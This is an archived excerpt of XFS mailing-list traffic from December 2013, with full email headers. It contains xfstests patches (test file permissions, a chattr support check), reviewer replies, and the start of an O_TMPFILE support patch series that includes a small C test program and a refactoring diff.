<1387318722-3050-8-git-send-email-jayr@google.com> X-Mailer: git-send-email 1.8.5.1 In-Reply-To: <1387318722-3050-1-git-send-email-jayr@google.com> References: <1387318722-3050-1-git-send-email-jayr@google.com> X-Barracuda-Connect: mail-pa0-f73.google.com[209.85.220.73] X-Barracuda-Start-Time: 1387318737 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143180 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature From: Hugh Dickins add executable permission to generic/311, generic/314 and generic/315. Just like other tests in the same directory. Signed-off-by: Hugh Dickins Signed-off-by: Junho Ryu --- v2: same as v1 tests/generic/311 | 0 tests/generic/315 | 0 tests/generic/321 | 0 tests/generic/322 | 0 4 files changed, 0 insertions(+), 0 deletions(-) mode change 100644 => 100755 tests/generic/311 mode change 100644 => 100755 tests/generic/315 mode change 100644 => 100755 tests/generic/321 mode change 100644 => 100755 tests/generic/322 diff --git a/tests/generic/311 b/tests/generic/311 old mode 100644 new mode 100755 diff --git a/tests/generic/315 b/tests/generic/315 old mode 100644 new mode 100755 diff --git a/tests/generic/321 b/tests/generic/321 old mode 100644 new mode 100755 diff --git a/tests/generic/322 b/tests/generic/322 old mode 100644 new mode 100755 -- 1.8.5.1 From jayr@google.com Tue Dec 17 16:21:36 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 3686029DF8 for ; Tue, 17 Dec 2013 16:21:36 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id EB96F304053 for ; Tue, 17 Dec 2013 14:21:35 -0800 (PST) X-ASG-Debug-ID: 1387318894-04bdf00fe0c8910001-NocioJ Received: from mail-ie0-f169.google.com (mail-ie0-f169.google.com [209.85.223.169]) by cuda.sgi.com with ESMTP id fotDrGEcmD0kCu9u (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Tue, 17 Dec 2013 14:21:34 -0800 (PST) X-Barracuda-Envelope-From: jayr@google.com X-Barracuda-Apparent-Source-IP: 209.85.223.169 X-Barracuda-IPDD: Level1 [google.com/209.85.223.169] Received: by mail-ie0-f169.google.com with SMTP id e14so9362367iej.0 for ; Tue, 17 Dec 2013 14:21:34 -0800 (PST) X-Barracuda-IPDD: Level1 [google.com/209.85.223.169] X-Barracuda-IPDD: Level1 [google.com/209.85.223.169] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=google.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=fyZS7QlpyvuHUaF7mjaQt8Cdsmk5JzAmNjTVVqnbBh0=; b=HNET5csTMCY+K56prN6p7E7E7rcuc7NVnnHl3HyinHsU/Nj/Y+rLU8Fs5t+dVQGep9 5qkzwI5t527sXo1u/5iV+eUniBAzVX5wUk3EwOBNSflh5JWBRcMhLnWVIsnNcWBJG9QE 2uhBsRMujsLmJyCPHpcvAUHKhUWu5yddF4+9F+VEfJ7SRc+8keJVVmvJ3D7ahBSo4j3Y IlIywckqilYqV6V2AS+McVoj1SJ1gSk5CCsmUUUnAS75bjqw3df2ZkOhIhr7fMXoR/5i k2U+e2n+fLuEHD/EI67HdivV+y7q+CskUkKRwF25H2eEfg9REmaT+GfM8mRtKGFSR/Le SKtw== X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:mime-version:in-reply-to:references:date :message-id:subject:from:to:cc:content-type; bh=fyZS7QlpyvuHUaF7mjaQt8Cdsmk5JzAmNjTVVqnbBh0=; b=GZkuFgHkW+FZHzxEGKrE5dnG1Af/PxnbzV2zE17o/wURp6K+MQJyR3gCBG4MQ6L57g 74SP/jP/Xz5f1wofxSonC9FQZaME54Xkgv1A9mB/TJN83K04O0OCT1zCOfa+1aFz3NoI 0yW6SDU0y46s1eTKosuf8lbUDcurGhguKfwEgMgsbe72fE4D/EhF3NDlbvE+FGf/VDU+ gblhCiHd/XjF7mhHnDOSLWKmIDdUhxcegAwYVNNmUO0Ipu5N5l7c9put3qrn4nFjLTvr iIjSoZM3NXI9omstmgjAxLsMhB8B4xCk21eIofG4SPExkiw+jrkvex49eh1crSbqs1CP ZzFg== X-Gm-Message-State: ALoCoQmdCf4xR5W6r3ojDQGns9Nam/5WktIhskzapJi74mhoM2IJuYyK3xzuRzaSFZ1m56P8Oz7jD42Ka6XGeQ9Nxcd2JL1aeKzu8cJ3UOiLnX2nLL75zeKSkinBS02NjyiX2f5IewGsk4UmdvBTslw6m+fXDvvNflj1GVAUpU/HgkxLb2mm1LjMJHsug9CnguUYpf+PPiQU MIME-Version: 1.0 X-Received: by 10.42.224.10 with SMTP id im10mr7732055icb.46.1387318894501; Tue, 17 Dec 2013 14:21:34 -0800 (PST) Received: by 10.64.138.66 with HTTP; Tue, 17 Dec 2013 14:21:34 -0800 (PST) In-Reply-To: <1387318722-3050-3-git-send-email-jayr@google.com> References: <1387318722-3050-1-git-send-email-jayr@google.com> <1387318722-3050-3-git-send-email-jayr@google.com> Date: Tue, 17 Dec 2013 14:21:34 -0800 Message-ID: Subject: Re: [PATCH v2 03/12] xfstests: increase tmpfs memory size From: Junho Ryu X-ASG-Orig-Subj: Re: [PATCH v2 03/12] xfstests: increase tmpfs memory size To: xfs@oss.sgi.com, Christoph Hellwig Cc: Boris Ranto , Hugh Dickins , "Theodore Ts'o" , Junho Ryu Content-Type: text/plain; charset=UTF-8 X-Barracuda-Connect: mail-ie0-f169.google.com[209.85.223.169] X-Barracuda-Start-Time: 1387318894 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143181 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature Hi Christoph, I'm sorry. Patch 1 has been committed before I fold it into the first patch as you have suggested. Regards, Junho From jayr@google.com Tue Dec 17 16:23:31 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 717E429DF8 for ; Tue, 17 Dec 2013 16:23:31 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id DA186AC002 for ; Tue, 17 Dec 2013 14:23:30 -0800 (PST) X-ASG-Debug-ID: 1387319009-04cbb041697e6c70001-NocioJ Received: from mail-ie0-f171.google.com (mail-ie0-f171.google.com [209.85.223.171]) by cuda.sgi.com with ESMTP id dCvFcA0BTt01rjHB (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Tue, 17 Dec 2013 14:23:29 -0800 (PST) X-Barracuda-Envelope-From: jayr@google.com X-Barracuda-Apparent-Source-IP: 209.85.223.171 X-Barracuda-IPDD: Level1 [google.com/209.85.223.171] Received: by mail-ie0-f171.google.com with SMTP id ar20so9331365iec.30 for ; Tue, 17 Dec 2013 14:23:29 -0800 (PST) X-Barracuda-IPDD: Level1 [google.com/209.85.223.171] X-Barracuda-IPDD: Level1 [google.com/209.85.223.171] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=google.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=CCsQC5TsRMINcgBU8olLkWvzmTULxdDUJxoEvSJbIlk=; b=H36W8A4vYio4zQO0BSUibg0Ft6BT2cNYMRo0PBoc7myPm79wYZj09L1uCQs0vgHD8X oov6yeL9r6JAohVW+RyVpqnS3MhKMdZVl+1OWJ6S3dgmCac18D9uGb5mbS2h8ENWqAkW f7PLJ0uDsQgLGFO73yb0gCJ6fk6cBXAh7F+DAQIpB/YMJM0jYEBFk+A29pSXsvAe/tR0 9fVmj4PVj8B98u5gUM242l+jJoHAaY2nmAK3Fq3sQbcneoLV50bOuXB4SXAn59WxkuA6 zCvo0T7wYk/WAtaf0X2voIKiPcEmLMnRmrz8dY2+rUWSh8LDDjP9uz+QKUs3KtfrhSyA hHKQ== X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:mime-version:in-reply-to:references:date :message-id:subject:from:to:cc:content-type; bh=CCsQC5TsRMINcgBU8olLkWvzmTULxdDUJxoEvSJbIlk=; b=k5IYQoUI0FiMWwSZEjZE+qco7TRG9glYbw71Vu8VnqrGURShO3VVPc/RICvJKAT6aL LfajGejU8xcVgPbTaoJMDNDuTyYW8EDz2SQzbEdt1RoSyLofgh/yODzB4DeC5d0xncN4 XxKpzcypWZBFgGBPz6cD0gyXYWrbVzoF+37ncEnp4nOwtUqYb4vLt2tXANvy43lGF+hx UUnwW3EjJhPYgdX/g+zhfTU4CjgXRr8VMTBu+XdfmS+CVFZDcGIGv19sN4DyMnnxd+MA d0bM7NIftMF3ZC9Lxfx+LqO01ldcV6WZkwsxJcGwDckQy9APQ8Vc18mChITkCIm7HkG3 tVWA== X-Gm-Message-State: ALoCoQndGizyWh8b2y65IXZLjUSYhyyy9m/mKtN5tLgbRS4EQlIuqX428TwO3CgidOdHzqx4n3DnKqhgxZ8sl0bCE8jbhhBMULLp76rVdgZ522T0llBT0CK17u4GH4LG3DDp8FtGYfkpR0xhZfi/lk5SUJMybbYcyjeBmcSjaOmfFXQEDq81YXzJ4YSiWYmJkRtopQr52gkk MIME-Version: 1.0 X-Received: by 10.42.61.147 with SMTP id u19mr18288233ich.36.1387319009527; Tue, 17 Dec 2013 14:23:29 -0800 (PST) Received: by 10.64.138.66 with HTTP; Tue, 17 Dec 2013 14:23:29 -0800 (PST) In-Reply-To: <1387318722-3050-12-git-send-email-jayr@google.com> References: <1387318722-3050-1-git-send-email-jayr@google.com> <1387318722-3050-12-git-send-email-jayr@google.com> Date: Tue, 17 Dec 2013 14:23:29 -0800 Message-ID: Subject: Re: [PATCH v2 12/12] xfstests: check if filesystem supports chattr From: Junho Ryu X-ASG-Orig-Subj: Re: [PATCH v2 12/12] xfstests: check if filesystem supports chattr To: xfs@oss.sgi.com, Christoph Hellwig Cc: Boris Ranto , Hugh Dickins , "Theodore Ts'o" , Junho Ryu Content-Type: text/plain; charset=UTF-8 X-Barracuda-Connect: mail-ie0-f171.google.com[209.85.223.171] X-Barracuda-Start-Time: 1387319009 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143181 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature Hi Christoph, I'm not sure what you meant by "it might be worth to have a common _require_chattr helper chared with generic/079". I cannot find "chattr" in "generic/079". Regards, Junho On Tue, Dec 17, 2013 at 2:18 PM, Junho Ryu wrote: > Add _require_chattr which verifies exit code of chattr command and call > it before running generic/277. > > Signed-off-by: Junho Ryu > --- > > v2: extracted from patch 9 > > common/attr | 13 +++++++++++++ > tests/generic/277 | 2 ++ > 2 files changed, 15 insertions(+) > > diff --git a/common/attr b/common/attr > index 4a3ac9e..278633f 100644 > --- a/common/attr > +++ b/common/attr > @@ -218,5 +218,18 @@ else # Assume max ~1 block of attrs > fi > > export MAX_ATTRVAL_SIZE > + > +_require_chattr() > +{ > + touch $TEST_DIR/syscalltest > + chattr +A $TEST_DIR/syscalltest > $TEST_DIR/syscalltest.out 2>&1 > + if [ $? -ne 0 ]; then > + _notrun "chattr has failed to change attribute of a file in TEST_DIR" > + fi > + cat $TEST_DIR/syscalltest.out >> $seqres.full > + > + rm -f $TEST_DIR/syscalltest.out > +} > + > # make sure this script returns success > /bin/true > diff --git a/tests/generic/277 b/tests/generic/277 > index 8461ad9..c31f7c4 100755 > --- a/tests/generic/277 > +++ b/tests/generic/277 > @@ -38,11 +38,13 @@ trap "_cleanup ; exit \$status" 0 1 2 3 15 > # get standard environment, filters and checks > . ./common/rc > . ./common/filter > +. ./common/attr > > # real QA test starts here > _supported_fs generic > _supported_os Linux > _require_scratch > +_require_chattr > > _scratch_mkfs > /dev/null 2>&1 > _scratch_mount > -- > 1.8.5.1 > From zwu.kernel@gmail.com Tue Dec 17 18:16:02 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 3E3C229DF8 for ; Tue, 17 Dec 2013 18:16:02 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 286A68F8040 for ; Tue, 17 Dec 2013 16:15:59 -0800 (PST) X-ASG-Debug-ID: 1387325757-04cbb041687ec280001-NocioJ Received: from e7.ny.us.ibm.com (e7.ny.us.ibm.com [32.97.182.137]) by cuda.sgi.com with ESMTP id TgF6IvZgsVEFGLYR (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 17 Dec 2013 16:15:57 -0800 (PST) X-Barracuda-Envelope-From: zwu.kernel@gmail.com X-Barracuda-Apparent-Source-IP: 32.97.182.137 Received: from /spool/local by e7.ny.us.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted for from ; Tue, 17 Dec 2013 19:15:57 -0500 Received: from d01dlp02.pok.ibm.com (9.56.250.167) by e7.ny.us.ibm.com (192.168.1.107) with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted; Tue, 17 Dec 2013 19:15:55 -0500 Received: from b01cxnp22035.gho.pok.ibm.com (b01cxnp22035.gho.pok.ibm.com [9.57.198.25]) by d01dlp02.pok.ibm.com (Postfix) with ESMTP id 4844A6E8041 for ; Tue, 17 Dec 2013 19:15:52 -0500 (EST) Received: from d01av02.pok.ibm.com (d01av02.pok.ibm.com [9.56.224.216]) by b01cxnp22035.gho.pok.ibm.com (8.13.8/8.13.8/NCO v10.0) with ESMTP id rBI0FtOJ7012858 for ; Wed, 18 Dec 2013 00:15:55 GMT Received: from d01av02.pok.ibm.com (localhost [127.0.0.1]) by d01av02.pok.ibm.com (8.14.4/8.14.4/NCO v10.0 AVout) with ESMTP id rBI0Fs9c008692 for ; Tue, 17 Dec 2013 19:15:55 -0500 Received: from us.ibm.com ([9.115.122.226]) by d01av02.pok.ibm.com (8.14.4/8.14.4/NCO v10.0 AVin) with SMTP id rBI0Fqg1007853; Tue, 17 Dec 2013 19:15:53 -0500 Received: by us.ibm.com (sSMTP sendmail emulation); Wed, 18 Dec 2013 08:15:46 +0800 From: Zhi Yong Wu To: xfs@oss.sgi.com Cc: Zhi Yong Wu Subject: [PATCH v2 0/3] xfs: add O_TMPFILE support Date: Wed, 18 Dec 2013 08:15:42 +0800 X-ASG-Orig-Subj: [PATCH v2 0/3] xfs: add O_TMPFILE support Message-Id: <1387325745-22003-1-git-send-email-zwu.kernel@gmail.com> X-Mailer: git-send-email 1.7.6.5 X-TM-AS-MML: No X-Content-Scanned: Fidelis XPS MAILER x-cbid: 13121800-5806-0000-0000-000023B174AC X-Barracuda-Connect: e7.ny.us.ibm.com[32.97.182.137] X-Barracuda-Start-Time: 1387325757 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143182 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Zhi Yong Wu HI, folks It's time to post the latest revision out, welcome to any constructive comment, thanks. If anyone is interested in playing with it, you can get this patchset from my dev git on github: git://github.com/wuzhy/kernel.git xfs_tmpfile The patchset was tested against the code snippet from Andy Lutomirski and other test cases: http://lwn.net/Articles/562296/ If you have any other better test cases, please let me know, thanks. #include #include #include #include #include #define __O_TMPFILE 020000000 #define O_DIRECTORY 0200000 #define O_TMPFILE (__O_TMPFILE | O_DIRECTORY) #define AT_EMPTY_PATH 0x1000 int main(int argc, char **argv) { char buf[128]; if (argc != 3) errx(1, "Usage: flinktest PATH linkat|proc"); int fd = open(".", O_TMPFILE | O_RDWR, 0600); if (fd == -1) err(1, "O_TMPFILE"); else printf("fd #: %d\n", fd); write(fd, "test", 4); if (!strcmp(argv[2], "linkat")) { if (linkat(fd, "", AT_FDCWD, argv[1], AT_EMPTY_PATH) != 0) err(1, "linkat"); } else if (!strcmp(argv[2], "proc")) { sprintf(buf, "/proc/self/fd/%d", fd); if (linkat(AT_FDCWD, buf, AT_FDCWD, argv[1], AT_SYMLINK_FOLLOW) != 0) err(1, "linkat"); } else { errx(1, "invalid mode"); } return 0; } Changelog from v1: - Fixed one chunk of the comments from Christoph Hellwig and Jeff Liu. v1: - Addressed the comments from Dave Chinner and Christoph Hellwig. Zhi Yong Wu (3): xfs: factor prid related codes into xfs_get_initial_prid() xfs: add O_TMPFILE support xfs: allow linkat() on O_TMPFILE files fs/xfs/xfs_inode.c | 123 ++++++++++++++++++++++++++++++++++++++++++++-- fs/xfs/xfs_inode.h | 12 +++++ fs/xfs/xfs_iops.c | 16 ++++++ fs/xfs/xfs_shared.h | 4 +- fs/xfs/xfs_symlink.c | 5 +-- fs/xfs/xfs_trans_resv.c | 55 +++++++++++++++++++-- fs/xfs/xfs_trans_resv.h | 3 + 7 files changed, 203 insertions(+), 15 deletions(-) -- 1.7.6.5 From zwu.kernel@gmail.com Tue Dec 17 18:16:03 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id A040429DF8 for ; Tue, 17 Dec 2013 18:16:03 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 6472F8F8040 for ; Tue, 17 Dec 2013 16:16:03 -0800 (PST) X-ASG-Debug-ID: 1387325761-04bdf00fdfcd3e0001-NocioJ Received: from e9.ny.us.ibm.com (e9.ny.us.ibm.com [32.97.182.139]) by cuda.sgi.com with ESMTP id Sb7h0cc7bwjWZhDx (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 17 Dec 2013 16:16:02 -0800 (PST) X-Barracuda-Envelope-From: zwu.kernel@gmail.com X-Barracuda-Apparent-Source-IP: 32.97.182.139 Received: from /spool/local by e9.ny.us.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted for from ; Tue, 17 Dec 2013 19:16:01 -0500 Received: from d01dlp03.pok.ibm.com (9.56.250.168) by e9.ny.us.ibm.com (192.168.1.109) with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted; Tue, 17 Dec 2013 19:15:59 -0500 Received: from b01cxnp23034.gho.pok.ibm.com (b01cxnp23034.gho.pok.ibm.com [9.57.198.29]) by d01dlp03.pok.ibm.com (Postfix) with ESMTP id 1F57CC90046 for ; Tue, 17 Dec 2013 19:15:57 -0500 (EST) Received: from d01av02.pok.ibm.com (d01av02.pok.ibm.com [9.56.224.216]) by b01cxnp23034.gho.pok.ibm.com (8.13.8/8.13.8/NCO v10.0) with ESMTP id rBI0Fwbs6160688 for ; Wed, 18 Dec 2013 00:15:58 GMT Received: from d01av02.pok.ibm.com (localhost [127.0.0.1]) by d01av02.pok.ibm.com (8.14.4/8.14.4/NCO v10.0 AVout) with ESMTP id rBI0Fw9h008972 for ; Tue, 17 Dec 2013 19:15:58 -0500 Received: from us.ibm.com ([9.115.122.226]) by d01av02.pok.ibm.com (8.14.4/8.14.4/NCO v10.0 AVin) with SMTP id rBI0Ft7x008736; Tue, 17 Dec 2013 19:15:56 -0500 Received: by us.ibm.com (sSMTP sendmail emulation); Wed, 18 Dec 2013 08:15:50 +0800 From: Zhi Yong Wu To: xfs@oss.sgi.com Cc: Zhi Yong Wu Subject: [PATCH v2 1/3] xfs: factor prid related codes into xfs_get_initial_prid() Date: Wed, 18 Dec 2013 08:15:43 +0800 X-ASG-Orig-Subj: [PATCH v2 1/3] xfs: factor prid related codes into xfs_get_initial_prid() Message-Id: <1387325745-22003-2-git-send-email-zwu.kernel@gmail.com> X-Mailer: git-send-email 1.7.6.5 In-Reply-To: <1387325745-22003-1-git-send-email-zwu.kernel@gmail.com> References: <1387325745-22003-1-git-send-email-zwu.kernel@gmail.com> X-TM-AS-MML: No X-Content-Scanned: Fidelis XPS MAILER x-cbid: 13121800-7182-0000-0000-00000960C508 X-Barracuda-Connect: e9.ny.us.ibm.com[32.97.182.139] X-Barracuda-Start-Time: 1387325761 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143182 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Zhi Yong Wu It will be reused by the O_TMPFILE creation function. Reviewed-by: Christoph Hellwig Signed-off-by: Zhi Yong Wu --- fs/xfs/xfs_inode.c | 6 +----- fs/xfs/xfs_inode.h | 10 ++++++++++ fs/xfs/xfs_symlink.c | 5 +---- 3 files changed, 12 insertions(+), 9 deletions(-) diff --git a/fs/xfs/xfs_inode.c b/fs/xfs/xfs_inode.c index 001aa89..c79b875 100644 --- a/fs/xfs/xfs_inode.c +++ b/fs/xfs/xfs_inode.c @@ -42,7 +42,6 @@ #include "xfs_bmap_util.h" #include "xfs_error.h" #include "xfs_quota.h" -#include "xfs_dinode.h" #include "xfs_filestream.h" #include "xfs_cksum.h" #include "xfs_trace.h" @@ -1169,10 +1168,7 @@ xfs_create( if (XFS_FORCED_SHUTDOWN(mp)) return XFS_ERROR(EIO); - if (dp->i_d.di_flags & XFS_DIFLAG_PROJINHERIT) - prid = xfs_get_projid(dp); - else - prid = XFS_PROJID_DEFAULT; + prid = xfs_get_initial_prid(dp); /* * Make sure that we have allocated dquot(s) on disk. diff --git a/fs/xfs/xfs_inode.h b/fs/xfs/xfs_inode.h index 9e6efccb..6c58349 100644 --- a/fs/xfs/xfs_inode.h +++ b/fs/xfs/xfs_inode.h @@ -20,6 +20,7 @@ #include "xfs_inode_buf.h" #include "xfs_inode_fork.h" +#include "xfs_dinode.h" /* * Kernel only inode definitions @@ -192,6 +193,15 @@ xfs_set_projid(struct xfs_inode *ip, ip->i_d.di_projid_lo = (__uint16_t) (projid & 0xffff); } +static inline prid_t +xfs_get_initial_prid(struct xfs_inode *dp) +{ + if (dp->i_d.di_flags & XFS_DIFLAG_PROJINHERIT) + return xfs_get_projid(dp); + + return XFS_PROJID_DEFAULT; +} + /* * In-core inode flags. */ diff --git a/fs/xfs/xfs_symlink.c b/fs/xfs/xfs_symlink.c index 14e58f2..13140c7 100644 --- a/fs/xfs/xfs_symlink.c +++ b/fs/xfs/xfs_symlink.c @@ -208,10 +208,7 @@ xfs_symlink( return XFS_ERROR(ENAMETOOLONG); udqp = gdqp = NULL; - if (dp->i_d.di_flags & XFS_DIFLAG_PROJINHERIT) - prid = xfs_get_projid(dp); - else - prid = XFS_PROJID_DEFAULT; + prid = xfs_get_initial_prid(dp); /* * Make sure that we have allocated dquot(s) on disk. -- 1.7.6.5 From zwu.kernel@gmail.com Tue Dec 17 18:16:10 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 6A1DF29E05 for ; Tue, 17 Dec 2013 18:16:10 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id CFF2CAC002 for ; Tue, 17 Dec 2013 16:16:06 -0800 (PST) X-ASG-Debug-ID: 1387325764-04cbb041697ec290001-NocioJ Received: from e9.ny.us.ibm.com (e9.ny.us.ibm.com [32.97.182.139]) by cuda.sgi.com with ESMTP id T2P3XcjPV33i2o4E (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 17 Dec 2013 16:16:05 -0800 (PST) X-Barracuda-Envelope-From: zwu.kernel@gmail.com X-Barracuda-Apparent-Source-IP: 32.97.182.139 Received: from /spool/local by e9.ny.us.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted for from ; Tue, 17 Dec 2013 19:16:04 -0500 Received: from d01dlp01.pok.ibm.com (9.56.250.166) by e9.ny.us.ibm.com (192.168.1.109) with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted; Tue, 17 Dec 2013 19:16:03 -0500 Received: from b01cxnp23032.gho.pok.ibm.com (b01cxnp23032.gho.pok.ibm.com [9.57.198.27]) by d01dlp01.pok.ibm.com (Postfix) with ESMTP id B41A738C8027 for ; Tue, 17 Dec 2013 19:16:00 -0500 (EST) Received: from d01av01.pok.ibm.com (d01av01.pok.ibm.com [9.56.224.215]) by b01cxnp23032.gho.pok.ibm.com (8.13.8/8.13.8/NCO v10.0) with ESMTP id rBI0G2fv5243200 for ; Wed, 18 Dec 2013 00:16:02 GMT Received: from d01av01.pok.ibm.com (localhost [127.0.0.1]) by d01av01.pok.ibm.com (8.14.4/8.14.4/NCO v10.0 AVout) with ESMTP id rBI0G25J014494 for ; Tue, 17 Dec 2013 19:16:02 -0500 Received: from us.ibm.com ([9.115.122.226]) by d01av01.pok.ibm.com (8.14.4/8.14.4/NCO v10.0 AVin) with SMTP id rBI0FxE9014276; Tue, 17 Dec 2013 19:16:00 -0500 Received: by us.ibm.com (sSMTP sendmail emulation); Wed, 18 Dec 2013 08:15:53 +0800 From: Zhi Yong Wu To: xfs@oss.sgi.com Cc: Zhi Yong Wu Subject: [PATCH v2 2/3] xfs: add O_TMPFILE support Date: Wed, 18 Dec 2013 08:15:44 +0800 X-ASG-Orig-Subj: [PATCH v2 2/3] xfs: add O_TMPFILE support Message-Id: <1387325745-22003-3-git-send-email-zwu.kernel@gmail.com> X-Mailer: git-send-email 1.7.6.5 In-Reply-To: <1387325745-22003-1-git-send-email-zwu.kernel@gmail.com> References: <1387325745-22003-1-git-send-email-zwu.kernel@gmail.com> X-TM-AS-MML: disable X-Content-Scanned: Fidelis XPS MAILER x-cbid: 13121800-7182-0000-0000-00000960C51A X-Barracuda-Connect: e9.ny.us.ibm.com[32.97.182.139] X-Barracuda-Start-Time: 1387325765 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi 